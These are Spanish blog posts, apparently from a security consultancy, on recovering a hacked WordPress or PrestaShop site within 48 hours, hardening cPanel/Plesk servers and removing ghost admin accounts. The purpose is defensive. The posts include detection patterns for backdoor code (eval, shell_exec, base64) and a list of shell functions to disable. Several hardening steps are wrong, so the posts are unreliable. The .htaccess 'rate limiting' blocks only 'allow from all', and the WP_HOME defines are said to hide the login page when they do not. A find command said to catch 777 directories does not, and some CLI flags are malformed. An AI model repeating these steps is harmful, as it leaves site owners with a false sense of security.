    1. Accede a wp-admin (si aún funciona). Si está bloqueado, usa WP-CLI:
      wp user update admin --user_pass="nueva_password_aleatoria_32_caracteres"
    2. Elimina todos los usuarios excepto los necesarios. En wp-admin, ve a Usuarios y borra cuentas sospechosas. Si usas CLI:
      wp user delete [usuario_sospechoso] --reassign=admin
    3. Cambia el email de recuperación de cada usuario admin a uno que controles:
      wp user update admin --user_email="nuevo@dominio.es"
    4. Genera credenciales nuevas para SFTP, SSH y MySQL. Avisa a tu hosting que necesitas resetear todas (esto puede tardar 30 min).

    PrestaShop:

    1. Accede al back-office. Ve a Administración > Empleados y revisa todas las cuentas. Elimina cualquier que no reconozcas.
    2. Cambia la contraseña de cada empleado activo desde el mismo panel.
    3. Ve a Configuración > Tiendas y resetea la contraseña del usuario «Admin» (el usuario root del sistema).
    4. Comprueba que el archivo config/settings.inc.php solo está accesible por lectura:
      chmod 444 config/settings.inc.php

    Correos y 2FA (autenticación de dos factores): Si tu proveedor de hosting ofrece 2FA en el panel de control, actívalo ahora. Para WordPress, instala Google Authenticator o Authy en tu teléfono y configura 2FA en wp-admin usando un plugin de confianza como Two Factor (desarrollado por WordPress Security Team).

    Hora 6-12: Eliminación de puertas traseras y ficheros sospechosos

    Este es el momento técnico más delicado. Los backdoors modernos no siempre se ven. Pueden estar comprimidos en base64, ofuscados en PHP, o incrustados en ficheros legítimos.

    Busca archivos recién modificados. Accede por SFTP o línea de comandos y ordena por fecha de modificación:

    find /var/www/html -type f -mtime -2 -name "*.php" | head -20

    Esto te muestra todos los PHP modificados en los últimos 2 días. Descárgalos y abre cada uno en un editor de texto. Los backdoors suelen tener características reconocibles: funciones eval(), system(), shell_exec(), $_REQUEST o $_POST sin validar, o código en base64.

    Elimina plugins y temas desactualizados (WordPress). La mayoría de infecciones entran por aquí. Ve a Plugins > Plugins instalados y desactiva todo lo que no uses. Luego:

    wp plugin delete [nombre] --allow-root

    Para temas, si no es Twenty Twenty-Three o superior (temas oficiales de WordPress), considera eliminarlo también:

    wp theme delete [nombre] --allow-root

    Deshabilita la edición de archivos en WordPress. Añade esto al final de wp-config.php:

    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);

    Esto impide que un atacante (incluso con acceso a wp-admin comprometido) pueda editar funciones.php o plugin files.

    En PrestaShop, elimina módulos no verificados. Ve a Módulos y desinstala cualquier módulo de fuente desconocida, especialmente relacionados con pagos o email. Los skimmers Magecart se disfrazan de módulos legales.

    Hora 12-24: Fortalecimiento de permisos y acceso

    Ahora que el sitio está más limpio, blindamos los puntos de entrada.

    Corrige permisos de directorios. Los permisos incorrectos son una rampa de acceso directa para atacantes. Para WordPress:

    find /var/www/html -type d -exec chmod 755 {} ;
    find /var/www/html -type f -exec chmod 644 {} ;
    chmod 600 /var/www/html/wp-config.php
    chmod 700 /var/www/html/wp-content/uploads

    Para PrestaShop:

    chmod 755 app/config/
    chmod 644 app/config/parameters.php
    chmod 700 var/
    chmod 755 modules/

    Protege wp-login.php (WordPress). Añade a tu .htaccess una regla que limite intentos de fuerza bruta:

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_URI} wp-login.php
    RewriteCond %{HTTP_USER_AGENT} ^$
    RewriteRule ^.*$ - [F,L]
    </IfModule>

    O usa una solución más robusta: redirige wp-login.php a una URL privada. En wp-config.php:

    define('WP_HOME', 'https://tudominio.es');
    define('WP_SITEURL', 'https://tudominio.es');
    define('ADMIN_COOKIE_DOMAIN', 'tudominio.es');

    Luego instala Hide My WP o un plugin equivalente que cambie la ruta de acceso al panel.

    Establece límite de intentos de login. En el .htaccess, añade:

    <IfModule mod_limit.c>
    <Limit GET POST>
    order allow,deny
    allow from all
    </Limit>
    </IfModule>

    O usa el plugin Wordfence (versión gratuita) que incluye rate limiting nativo.

    Hora 24-36: Refuerzo de configuración HTTP y CSP

    Las cabeceras HTTP son tu escudo contra ataques cliente y exfiltración de datos. Muchos sitios las ignoran.

    Implementa Content Security Policy (CSP). Añade a tu .htaccess o a wp-config.php (via plugin):

    Header set Content-Security-Policy "default-src 'self'; script-src 'self' cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';"

    CSP previene inyecciones de código malicioso (XSS) y exfiltración de datos vía CORS.

    Añade HSTS (HTTP Strict Transport Security).

    Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

    Esto obliga a HTTPS permanente y previene downgrade attacks.

    Protege contra clickjacking y MIME sniffing:

    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-Content-Type-Options "nosniff"
    Header set X-XSS-Protection "1; mode=block"

    Desactiva la indexación de directorios. Si hay una carpeta sin index.php o index.html, los atacantes pueden explorar archivos:

    <IfModule mod_autoindex.c>
    Options -Indexes
    </IfModule>

    En PrestaShop, asegúrate de que admin/index.php esté protegido con IP whitelist en el .htaccess del directorio admin/:

    <Files "index.php">
    order deny,allow
    deny from all
    allow from 192.168.1.1
    </Files>

    (Sustituye la IP por la tuya o la de tu oficina.)

    Hora 36-48: Monitoreo y verificación

    Las últimas 12 horas son para verificar que todo funciona y configurar alertas.

    Ejecuta un escaneo completo post-limpieza. Usa MalCare o Sucuri SiteCheck nuevamente. Debe salir completamente limpio. Si detecta malware residual, vuelve al paso de búsqueda de backdoors.

    Configura logging y alertas. En WordPress, instala WP Security Audit Log o similar. Configura alertas por email para:

    • Nuevos usuarios creados
    • Cambios en plugins o temas
    • Acceso a wp-admin desde IPs nuevas
    • Errores 404 o 403 frecuentes (intentos de acceso a archivos protegidos)

    Monitorea la base de datos. En phpMyAdmin, ejecuta una consulta para buscar inyecciones SQL residuales:

    SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%' OR post_content LIKE '%eval%' OR post_content LIKE '%base64%';

    Si encuentras algo, edita o elimina ese post.

    Notifica a Google Search Console. Reporta que el sitio fue hackeado. Ve a Seguridad > Problemas de seguridad. Google puede tomar días en limpiar el index, pero es obligatorio informar.

    Cumple con normativa AEPD si manejabas datos personales. Si almacenabas datos de clientes (emails, teléfonos, direcciones), debes reportar la brecha a la Autoridad de Protección de Datos. El plazo es máximo 72 horas desde que descubriste el incidente.

    Checklist de 48 horas (para imprimir)

    • ☐ Cambio de todas las credenciales (MySQL, SFTP, SSH, wp-admin, panel hosting)
    • ☐ Búsqueda y eliminación de backdoors (archivos recientes, code review)
    • ☐ Eliminación de plugins/temas desactualizados o sospechosos
    • ☐ DISALLOW_FILE_EDIT y DISALLOW_FILE_MODS en wp-config.php
    • ☐ Permisos corregidos (644 archivos, 755 directorios, 600 wp-config.php)
    • ☐ Protección de wp-login.php y admin con rate limiting
    • ☐ CSP, HSTS y cabeceras de seguridad en .htaccess
    • ☐ 2FA activado en hosting y wp-admin
    • ☐ Escaneo post-limpieza con Sucuri o MalCare
    • ☐ Reporte a Google Search Console y AEPD (si corresponde)

    ¿Y después de 48 horas?

    El blindaje inicial está hecho, pero esto no es permanente. Los atacantes evolucionan, y tu defensa debe también. Después de estos dos días, necesitas:

    • Actualizaciones automáticas: Activa actualizaciones de seguridad automáticas en WordPress para core, plugins y temas.
    • Backups diarios: Configura backups automáticos con UpdraftPlus o Backwpup que se almacenen fuera del servidor (AWS S3, Dropbox, Google Drive).
    • Monitoreo 24/7: Usa Wordfence, MalCare o Sucuri (versión premium) para alertas en tiempo real.
    • Auditoría trimestral: Cada tres meses, pide un análisis profesional. Mi equipo en ManuelFolgar.com lo hacemos rutinariamente a clientes recuperados.

    Errores que NO debes cometer

    No reinstales WordPress o PrestaShop sobre el sitio comprometido. Es tentador hacer table rasa, pero si un backdoor está en tu hosting o en credenciales compartidas, volverá a infectar.

    No confíes en plugins «de limpieza automática». Algunos como WP Hacked Help prometen limpiar automáticamente. En mi experiencia, son lentos y dejan restos. Es mejor un análisis manual rápido que una falsa seguridad.

    No publiques en redes que fuiste hackeado sin estar seguro de que está limpio. Los atacantes monitorean búsquedas sobre sus víctimas y pueden reinfectar si ven que están limpios pero vulnerables.

    No olvides cambiar contraseñas de email asociadas. Si tu dominio está registrado con un email [email protected] y fue comprometido, un atacante puede resetear el dominio o certificados SSL. Cambia también esa contraseña.

    En ManuelFolgar.com hemos visto sitios que, sin ayuda profesional, tardan 2-3 semanas en estar seguros. Con este plan de 48 horas, aceleramos significativamente. Pero si en algún momento sientes que el malware se resiste, que tu acceso está bloqueado o que no sabes identificar código malicioso, contáctame para una auditoría completa y limpieza profesional. Garantizo que en 48-72 horas tu sitio estará limpio, blindado y monitoreado.

    El tiempo es tu aliado en un ciberataque. Actúa rápido, sigue este orden, y recuerda: la mejor defensa es que no te haqueen. Pero si ya pasó, que al menos sea una lección aprendida.

  • Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Configuración del servidor cPanel/Plesk: errores que abren puertas al malware

    Cuando analizo servidores comprometidos en mi trabajo diario, descubro que la mayoría de los ataques no llegan porque el malware sea sofisticado, sino porque la configuración de cPanel o Plesk tiene fallos elementales. Estos paneles de control son el corazón de tu infraestructura web, y un error en su setup puede convertir tu servidor en puerta abierta para ciberdelincuentes.

    En esta guía te muestro los errores de configuración más peligrosos que veo en la práctica, cómo detectarlos y, lo más importante, cómo blindar tu servidor antes de que sea demasiado tarde.

    Por qué cPanel y Plesk son objetivos prioritarios del malware

    cPanel y Plesk no son solo herramientas administrativas: son la llave maestra de tu servidor. Alojando decenas o cientos de sitios web, una sola vulnerabilidad o mala configuración puede comprometer toda tu infraestructura. Los atacantes lo saben, y por eso invierten recursos en escanear y explotar brechas en estos paneles.

    He visto backdoors instalados en servidores cPanel mediante accesos débiles al WHM (Web Host Manager), cryptominers corriendo con permisos de root, y bases de datos de clientes completas exfiltradas porque nadie había deshabilitado el acceso remoto a MySQL.

    Error 1: Contraseña débil o default en WHM/cPanel

    Parece obvio, pero es el error número uno. Muchos proveedores de hosting entregan servidores con contraseñas generadas automáticamente que nunca se cambian, o peor, con patrones predecibles.

    Lo que ocurre: Los atacantes ejecutan diccionarios contra puertos SSH (22), FTP (21) y WHM (2087/2096). Si tu contraseña es débil o default, el acceso es cuestión de minutos. Una vez dentro, instalan backdoors, webshells o malware de red.

    Cómo detectarlo:

    • Revisa los logs de acceso SSH: cat /var/log/auth.log | grep «Failed password». Si ves intentos fallidos masivos, alguien ya te está buscando.
    • Comprueba los usuarios SSH en tu servidor: awk -F: ‘{print $1}’ /etc/passwd. ¿Hay usuarios que no reconoces?
    • En WHM, accede a Security Center y verifica quién ha accedido recientemente.

    Cómo remediarlo:

    1. Cambia la contraseña root a una de 20+ caracteres: mayúsculas, minúsculas, números y símbolos especiales.
    2. Usa passwd en terminal o genera una contraseña con openssl rand -base64 20.
    3. En WHM, ve a Security Center → Password & Security → Change Root Password.
    4. Documenta la nueva contraseña en un gestor de contraseñas seguro (Bitwarden, 1Password).

    Error 2: SSH abierto a todo el mundo (sin restricción de IP)

    SSH (puerto 22) es la puerta de entrada a tu servidor. Si está abierto a internet sin restricciones, recibirás miles de intentos de acceso cada día desde bots de todo el mundo.

    Lo que ocurre: Incluso con contraseña fuerte, un atacante persistente puede probar millones de combinaciones. Además, pueden explotar vulnerabilidades zero-day en OpenSSH o en herramientas como Exim para ganar acceso.

    Cómo detectarlo:

    • Ejecuta netstat -tlnp | grep ssh o ss -tlnp | grep ssh. ¿SSH escucha en 0.0.0.0:22? Está abierto a todo el mundo.
    • Comprueba el archivo /var/log/auth.log para ataques brute force: grep «sshd» /var/log/auth.log | wc -l.

    Cómo remediarlo:

    1. Cambia el puerto SSH a uno no estándar (ej: 2222): Edita /etc/ssh/sshd_config y cambia Port 22 a Port 2222.
    2. Restringe SSH por IP: Si tienes una IP fija, añade en cPanel/WHM:
      • Ve a Security Center → IP Whitelist Manager
      • Whitelist tu IP corporativa y las de tu proveedor de hosting.
    3. Usa firewalls de host: Instala CSF/LFD (ConfigServer Firewall) para limitar intentos de SSH y bloquear IPs maliciosas automáticamente.
    4. Reinicia SSH: systemctl restart sshd

    Error 3: Acceso remoto a MySQL/bases de datos habilitado

    MySQL, PostgreSQL y otros servicios de base de datos están habilitados por defecto para conexiones locales. El problema: si habilitas acceso remoto (bind-address 0.0.0.0) sin firewall, cualquiera puede intentar conectarse desde internet.

    Lo que ocurre: Los atacantes lanzan exploits contra MySQL (versiones antiguas tienen CVEs críticas). Si entran, acceden a todas las bases de datos: contraseñas WordPress hasheadas, datos de clientes, información de pagos.

    Cómo detectarlo:

    • Conecta por SSH y ejecuta: netstat -tlnp | grep mysql o ss -tlnp | grep mysql
    • Si ves 0.0.0.0:3306, tu MySQL está abierto a internet.
    • Intenta conectar desde fuera del servidor: mysql -h [TU_IP] -u root -p. Si funciona, estás en riesgo.

    Cómo remediarlo:

    1. Edita /etc/mysql/my.cnf o /etc/mysql/mysql.conf.d/mysqld.cnf
    2. Busca bind-address y cambia a bind-address = 127.0.0.1 (solo localhost)
    3. Guarda y reinicia: systemctl restart mysql
    4. En cPanel/Plesk, desactiva Remote MySQL:
      • cPanel: WHM → Security Center → MySQL Remote Access → Disabled
      • Plesk: Tools & Settings → Server Management → MySQL → Remote Access Off
    5. Si necesitas acceso remoto, usa SSH tunneling: ssh -L 3306:localhost:3306 root@tu_servidor

    Error 4: FTP sin cifrar en lugar de SFTP

    FTP transmite credenciales en texto plano. Cualquiera sniffeando la red ve tu usuario y contraseña. SFTP cifra todo el tráfico, pero muchos servidores aún usan FTP o lo tienen habilitado por defecto.

    Lo que ocurre: Un atacante captura tus credenciales FTP, accede a todos los sitios web alojados, inyecta malware, crea backdoors, roba datos.

    Cómo detectarlo:

    • En cPanel/Plesk, comprueba qué servicios están activos: netstat -tlnp | grep -E «ftp|ssh»
    • Si ves puerto 21 (FTP) abierto, estás usando FTP tradicional.

    Cómo remediarlo:

    1. Deshabilita FTP completamente:
      • cPanel: WHM → Service Manager → FTP → Stop & Disable
      • Plesk: Tools & Settings → Server Components → Deselecciona FTP
    2. Usa SFTP (incluido con SSH):
      • Configurado por defecto en cPanel/Plesk. Solo necesitas conectar por SSH con credenciales.
      • Herramientas como FileZilla permiten SFTP fácilmente.
    3. Reinicia: systemctl restart vsftpd (si es necesario)

    Error 5: No actualizar cPanel/Plesk y sus componentes

    cPanel y Plesk lanzan parches de seguridad regularmente. No actualizar es como dejar puertas abiertas con un cartel que dice «aquí hay vulnerabilidades conocidas».

    Lo que ocurre: Atacantes aprovechan CVEs públicos en cPanel, Apache, PHP o Exim. Lanzan exploits masivos contra miles de servidores, sabiendo que muchos no se han parcheado.

    Cómo detectarlo:

    • En WHM, ve a Update Manager o Software Updates. ¿Hay actualizaciones pendientes?
    • Ejecuta uname -a para ver tu versión de kernel. Compara con nvd.nist.gov o cisa.gov para CVEs conocidas.

    Cómo remediarlo:

    1. cPanel: WHM → Update Manager → Update. Elige «Auto Updates» para que se actualice automáticamente.
    2. Plesk: Tools & Settings → Updates → Check for updates → Install.
    3. Actualiza el kernel y servicios del sistema:
      • CentOS/RHEL: yum update -y
      • Debian/Ubuntu: apt update && apt upgrade -y
    4. Reinicia después de actualizaciones del kernel: reboot
    5. Establece un calendario de actualizaciones: la primera semana de cada mes.

    Error 6: Permisos de archivo incorrectos en directorios públicos

    Los permisos UNIX mal configurados permiten que procesos web escriban donde no deberían. Si tu directorio public_html tiene permisos 777, cualquier proceso comprometido puede crear archivos maliciosos.

    Lo que ocurre: Un plugin WordPress vulnerabilizado, una aplicación con RFI/LFI, o un script comprometido escriben webshells, backdoors, malware de minería en tu servidor.

    Cómo detectarlo:

    • Busca directorios con permisos 777 o 666: find /home -type d -perm /700 -user nobody 2>/dev/null | head -20
    • Comprueba permisos de public_html: ls -la /home/usuario/public_html | head. Debería ser 755 para directorios, 644 para archivos.

    Cómo remediarlo:

    1. En cPanel, configura permisos automáticos:
      • WHM → Security Center → Permissions → Set Default File/Directory Permissions
      • Files: 644, Directories: 755
    2. Corrige permisos manuales (si es necesario):
      • find /home/usuario/public_html -type f -exec chmod 644 {} ;
      • find /home/usuario/public_html -type d -exec chmod 755 {} ;
    3. Para WordPress específicamente:
      • wp-config.php: 600 (solo lectura para propietario)
      • .htaccess: 644
      • /wp-content/uploads: 755

    Error 7: No monitorizar logs de seguridad

    Los logs son tu línea de defensa. Si no los revisas regularmente, no sabes que estás siendo atacado hasta que es demasiado tarde.

    Logs críticos que debes monitorizar:

    • /var/log/auth.log – Intentos de login SSH/FTP
    • /var/log/apache2/access.log o /var/log/httpd/access_log – Peticiones HTTP (inyecciones SQL, XSS, exploits web)
    • /var/log/exim_mainlog – Email (spam, phishing)
    • /var/log/cron – Tareas programadas (malware que intenta persistencia)
    • Logs de cPanel/Plesk en /var/log/

    Cómo detectarlo:

    • ¿Últimamente revisaste manualmente tus logs? Si hace más de un mes, estás a ciegas.
    • Busca patrones sospechosos: grep «SQL injection» /var/log/apache2/access.log | wc -l

    Cómo remediarlo:

    1. Instala un monitor de logs automático: CSF/LFD (ConfigServer Firewall) incluye alertas de seguridad.
      • Instala: cd /usr/src && wget https://download.configserver.com/csf.tgz && tar -xzf csf.tgz && cd csf && sh install.sh
      • Configura alertas en /etc/csf/csf.conf
    2. Usa herramientas de SIEM: Fail2Ban, Logwatch, o servicios como Sumologic, Splunk.
    3. Revisa logs semanalmente: Automatiza con script cron que envíe resumen a tu email.
    4. En cPanel/Plesk: Activa alertas por email en Security Center.

    Error 8: Módulos/extensiones de PHP inseguros

    Módulos PHP como suhosin, exec(), system(), o extensiones desactualizadas pueden ser exploitadas para ejecutar comandos arbitrarios en el servidor.

    Lo que ocurre: Un atacante inyecta PHP malicioso (vía plugin vulnerable o upload de archivo), y php.ini permite que se ejecuten comandos del sistema. El atacante crea backdoors, roba archivos, instala malware.

    Cómo detectarlo:

    • Crea un archivo test.php con <?php phpinfo(); ?> y cárgalo en public_html.
    • Busca en la salida:
      • ¿disable_functions está vacío? Problema: todas las funciones están habilitadas.
      • ¿allow_url_fopen está «On»? Riesgo de RFI.
      • ¿magic_quotes_gpc está «Off»? (En PHP 7.x, no existe; en PHP 5.x, debería estar «On»)
    • Lista módulos cargados: php -m o desde WHM/Plesk.

    Cómo remediarlo:

    1. Edita /etc/php.ini (o el archivo de configuración de tu versión de PHP):
      • disable_functions = exec,system,passthru,shell_exec,proc_open,proc_nice,popen,pcntl_exec,eval
      • allow_url_fopen = Off
      • open_basedir = /home/usuario/public_html:/tmp (aísla el acceso a directorios)
    2. En cPanel/Plesk, deshabilita módulos innecesarios desde MultiPHP Manager.
    3. Actualiza PHP a la última versión compatible con tus aplicaciones. No uses versiones EOL (End of Life).
    4. Reinicia Apache/Nginx: systemctl restart apache2 o systemctl restart nginx

    Error 9: Firewall desactivado o mal configurado

    El firewall del servidor (iptables/nftables en Linux, o CSF/LFD en cPanel) es tu barrera contra ataques de red. Muchos administradores lo desactivan «temporalmente» y nunca lo vuelven a activar.

    Lo que ocurre: Cualquier puerto está abierto a internet. Atacantes escanean tu servidor, descubren servicios vulnerables, y explotan.

    Cómo detectarlo:

    • Comprueba si el firewall está activo: systemctl status firewalld o systemctl status ufw o csf -l (para CSF)
    • Lista puertos abiertos: netstat -tlnp o ss -tlnp. ¿Ves servicios innecesarios?

    Cómo remediarlo:

    1. Activa el firewall:
      • systemctl enable firewalld && systemctl start firewalld (Firewalld)
      • systemctl enable ufw && ufw enable (UFW)
      • csf -e (ConfigServer Firewall)
    2. Configura reglas estrictas:
      • Abre solo puertos necesarios: 22 (SSH), 80 (HTTP), 443 (HTTPS), 25/587 (SMTP si es servidor de correo).
      • En cPanel: WHM → Security Center → Firewall Configuration → Add Firewall Whitelist Rules
    3. CSF/LFD es recomendable: Incluye protección contra ataques brute force, DDoS, y tiene listas negras actualizadas.

    Error 10: No realizar auditorías de seguridad periódicas

    Una auditoría de seguridad no es un lujo: es mantenimiento preventivo. Cada 3-6 meses, deberías escanear tu servidor buscando malware, configuraciones débiles y vulnerabilidades.

    Lo que ocurre: Los problemas se acumulan silenciosamente. Un plugin desactualizado aquí, una contraseña débil allá, permisos incorrectos en algún otro lado. De repente, descubres que tu servidor está comprometido desde hace meses.

    Cómo detectarlo:

    • ¿Cuándo fue la última vez que ejecutaste un scan de malware en tu servidor?
    • ¿Tienes un registro de cambios en tu configuración de seguridad?
    • ¿Revisaste recientemente qué usuarios tienen acceso root/SSH?

    Cómo remediarlo:

    1. Herramientas de escaneo automático:
      • Maldet (Linux Malware Detect): maldet -a /home para escanear archivos
      • ClamAV: Antivirus de código abierto. freshclam actualiza firmas, clamscan -r /home escanea.
      • Rootkit Hunter (rkhunter): Busca backdoors y rootkits. rkhunter –check
    2. Auditoría manual:
      • Revisa usuarios con acceso root: grep «:0:0:» /etc/passwd
      • Busca cambios recientes en archivos del sistema: find /etc -mtime -7 (últimos 7 días)
      • Revisa tareas cron sospechosas: cat /var/spool/cron/crontabs/*
    3. Cada mes: Ejecuta al menos un escaneo de malware.
    4. Cada trimestre: Auditoría de permisos de archivos, usuarios, y configuración de servicios.

    Plan de acción rápido: Checklist de seguridad cPanel/Plesk

    Si acabas de leer esto y tienes miedo de tu servidor, aquí está la lista de acciones inmediatas (prioritarias):

    1. HOY: Cambia contraseña root a una fuerte (20+ caracteres).
    2. HOY: Comprueba logs SSH (/var/log/auth.log) buscando accesos desconocidos.
    3. HOY: Deshabilita FTP, habilita solo SFTP.
    4. ESTA SEMANA: Cambia puerto SSH a uno no estándar y restringe por IP.
    5. ESTA SEMANA: Desactiva acceso remoto a MySQL. Bind-address a 127.0.0.1.
    6. ESTA SEMANA: Activa firewall (CSF/LFD es ideal en cPanel).
    7. ESTE MES: Actualiza cPanel/Plesk y todos sus componentes.
    8. ESTE MES: Escanea servidor con Maldet, ClamAV, y rkhunter.
    9. ESTE MES: Configura monitorización de logs automática (CSF/LFD o Fail2Ban).
    10. CADA TRIMESTRE: Auditoría de seguridad completa.

    Cuándo llamar a un experto: señales de alerta

    Si detectas cualquiera de esto, tu servidor probablemente esté comprometido:

    • Cientos de intentos fallidos de login en los logs.
    • Procesos desconocidos ejecutándose (ej: minero, bot de spam).
    • Archivos nuevos que no creaste en public_html o /tmp.
    • Tu servidor enviando spam o malware a otros sitios (ISP te avisa).
    • Rendimiento muy bajo sin razón aparente (CPU/RAM al máximo).
    • Cambios en archivos de sistema que no autorizaste.
    • Google Search Console reporta malware en tu sitio.

    En estos casos, no intentes «limpiar» tú solo. Un error puede empeorar las cosas o dejar puertas traseras abiertas. Lo recomendable es contactar con un especialista en ciberseguridad que pueda:

    • Analizar logs forenses para determinar cómo entró el atacante.
    • Identificar y eliminar todo el malware sin dejar rastros.
    • Cerrar la vulnerabilidad explotada.
    • Recuperar tus datos si han sido robados.
    • Aplicar hardening completo para evitar que vuelva a ocurrir.

    En ManuelFolgar.com, nos especializamos en limpieza de malware, auditorías de seguridad y hardening de servidores cPanel/Plesk. Si tu servidor ha sido comprometido o quieres blindarlo antes de que lo sea, contacta con nosotros para una auditoría de seguridad profesional. Analizo tu infraestructura completa, identifico riesgos y aplico soluciones probadas.

    La seguridad del servidor no es una tarea de una vez: es un proceso continuo. Pero si empiezas con estos diez errores evitados, habrás cerrado la mayoría de puertas por las que entra el malware. Tu servidor, y los datos de tus clientes, te lo agradecerán.

  • Usuarios administrador fantasma: cómo detectar y eliminar cuentas creadas por hackers

    Usuarios administrador fantasma: cómo detectar y eliminar cuentas creadas por hackers

    Usuarios administrador fantasma: el riesgo silencioso en tu WordPress

    Cuando analizo un sitio WordPress comprometido, una de las primeras cosas que busco son cuentas de administrador que no reconozco. En mi experiencia, los hackers crean estas cuentas fantasma como punto de entrada persistente, permitiéndoles volver cuando quieran sin necesidad de explotar nuevas vulnerabilidades. Es un método que he visto una y otra vez en ataques dirigidos a tiendas online y blogs de mediana audiencia.

    La mayoría de propietarios de WordPress nunca se da cuenta porque estas cuentas suelen tener nombres genéricos como «admin2», «wordpress», «support» o simplemente números. El hacker accede, crea su usuario, y se va. Meses después, tú sigues sin saber que hay una puerta abierta en tu sistema.

    ¿Por qué los atacantes crean usuarios administrador?

    Un usuario administrador fantasma es la garantía del atacante. Con acceso administrativo, puede:

    • Instalar backdoors y webshells que funcionan incluso si cierras las puertas iniciales.
    • Modificar plugins y temas para inyectar código malicioso de forma silenciosa.
    • Crear redirecciones SEO spam que dañan tu reputación en buscadores.
    • Inyectar cryptominers que usan recursos de tu servidor sin que lo sepas.
    • Robar datos de clientes si tienes una tienda (especialmente peligroso con Magecart).
    • Mantener persistencia a largo plazo, volviendo cada vez que necesita.

    Es el tipo de acceso que transforma un ataque puntual en una infección crónica.

    Vectores de creación de usuarios maliciosos

    Los hackers no crean estas cuentas al azar. Lo hacen explotando vulnerabilidades concretas:

    1. Plugins vulnerables con funciones de registro abiertas

    He visto decenas de plugins antigüos que permiten registro de usuarios sin verificación correcta. Un atacante envía una solicitud POST manipulada y crea un admin sin pasar por la interfaz normal. Plugins de formularios, pasarelas de pago, y constructores de páginas son especialmente propensos a esto.

    2. Inyección SQL

    Si tu base de datos es vulnerable a SQL injection, el hacker puede insertar directamente filas en la tabla wp_users con privilegios de administrador. Lo he visto en tiendas PrestaShop y WordPress con plugins de filtrado deficientes.

    3. Acceso directo al archivo wp-config.php

    Si el atacante obtiene acceso vía FTP o exploit de lectura de archivos, puede usar WP-CLI remotamente para crear usuarios. Algunos webshells ya incluyen scripts que hacen exactamente esto.

    4. Brute force sobre wp-login.php

    Si tu sitio no tiene protección contra intentos de login, un hacker puede crear una cuenta de administrador con fuerza bruta. No es lo más sigiloso, pero funciona en sitios sin WAF.

    5. Explotación de vulnerabilidades zero-day

    Ocasionalmente aparecen CVEs en WordPress core o plugins populares que permiten escalada de privilegios sin autenticación previa. En esos casos, la creación de admin es automática.

    Cómo detectar cuentas fantasma en WordPress

    Ahora viene lo práctico. Te muestro exactamente cómo encontrar estas cuentas:

    Opción 1: Panel de administración de WordPress

    Accede a Usuarios > Todos los usuarios. Busca:

    • Cuentas con rol de administrador que no creaste tú.
    • Nombres sospechosos o genéricos (admin2, test, soporte, wordpress, etc.).
    • Fecha de alta reciente que no coincida con tus cambios reales.
    • Usuarios con email desconocido, especialmente dominios gratuitos (gmail, yahoo, etc.).
    • Cuentas que nunca han publicado nada pero tienen acceso total.

    Haz clic en cada usuario sospechoso y verifica su perfil completo. Los hackers suelen dejar pocos datos, así que un admin «vacío» es una bandera roja.

    Opción 2: Acceso directo a la base de datos (phpMyAdmin)

    Si prefieres un análisis más profundo, conéctate a phpMyAdmin y ejecuta esta consulta SQL:

    SELECT user_login, user_email, user_registered FROM wp_users WHERE (user_login LIKE ‘%admin%’ OR user_login LIKE ‘%test%’ OR user_login LIKE ‘%support%’ OR user_login LIKE ‘%wordpress%’) AND user_registered > DATE_SUB(NOW(), INTERVAL 6 MONTH);

    Esta búsqueda te muestra usuarios con nombres típicamente maliciosos registrados en los últimos 6 meses. Luego verifica cada uno manualmente en la tabla wp_usermeta para confirmar que tienen rol de administrador.

    Opción 3: WP-CLI (línea de comandos)

    Si tienes acceso SSH a tu servidor, usa WP-CLI:

    wp user list –field=ID,user_login,user_email –role=administrator

    Esto lista todos los administradores en segundos. Luego comprueba detalles con:

    wp user get [ID] –format=json

    Opción 4: Plugins de seguridad especializados

    Herramientas como Wordfence o MalCare tienen reportes específicos de usuarios. Wordfence incluso te alertará de creaciones de usuarios en tiempo real si activar su servicio premium. En mi experiencia, Wordfence es especialmente útil porque también registra el IP desde el que se creó cada usuario, lo que te ayuda a identificar patrones de ataque.

    Pasos para eliminar cuentas fantasma de forma segura

    Una vez identificadas, la eliminación debe ser cuidadosa. Si simplemente borras, podrías perder posts o comentarios asociados:

    Paso 1: Anota toda la información

    Antes de tocar nada, toma capturas de pantalla de:

    • Nombre de usuario y email exactos.
    • Fecha de creación.
    • IP de registro (si es visible).
    • Posts o comentarios asociados.

    Esto te servirá para tu auditoría posterior y para denunciar si es necesario.

    Paso 2: Revisa qué contenido tiene asociado

    Haz clic en el usuario sospechoso. En su perfil, WordPress te muestra cuántos posts y comentarios ha creado. Si es realmente un ghost admin, probablemente sea cero. Pero verifica para estar seguro.

    Paso 3: Reasigna contenido (si es necesario)

    Si el usuario tiene posts o comentarios, WordPress te permite reasignarlos a otro usuario durante la eliminación. Elige un administrador real tuyo.

    Paso 4: Elimina la cuenta

    En el panel, ve a Usuarios > Todos los usuarios, marca el usuario sospechoso, selecciona «Borrar» en el menú desplegable de acciones en bloque, y aplica.

    Si usas WP-CLI, es más directo:

    wp user delete [ID] –reassign=[ID_admin_real]

    Paso 5: Verifica en la base de datos

    Para estar 100% seguro, consulta de nuevo phpMyAdmin:

    SELECT COUNT(*) FROM wp_users WHERE user_login = ‘[nombre_usuario]’;

    El resultado debe ser 0.

    Cómo evitar que vuelvan a crear usuarios fantasma

    La detección es importante, pero la prevención es más. Aquí están las medidas que recomiendo siempre:

    1. Limita la creación de usuarios

    En Ajustes > General, desactiva «Cualquiera puede registrarse» a menos que lo necesites específicamente (tiendas con clientes, comunidades, etc.). Si lo necesitas, configura que los nuevos usuarios tengan rol «Suscriptor», nunca administrador.

    2. Protege wp-login.php con .htaccess

    Añade esto a tu .htaccess para limitar intentos de fuerza bruta:

    <Files wp-login.php>
    ErrorDocument 429 «Demasiados intentos»
    <Limit POST GET>
    Order Allow,Deny
    Allow from all
    </Limit>
    </Files>

    Mejor aún, usa un plugin como Wordfence o Fail2Ban en servidor.

    3. Implementa autenticación de dos factores (2FA)

    Obliga a todos los administradores a usar 2FA. Plugins como Google Authenticator o Authy hacen imposible que un atacante acceda aunque tenga contraseña.

    4. Mantén WordPress, plugins y temas actualizados

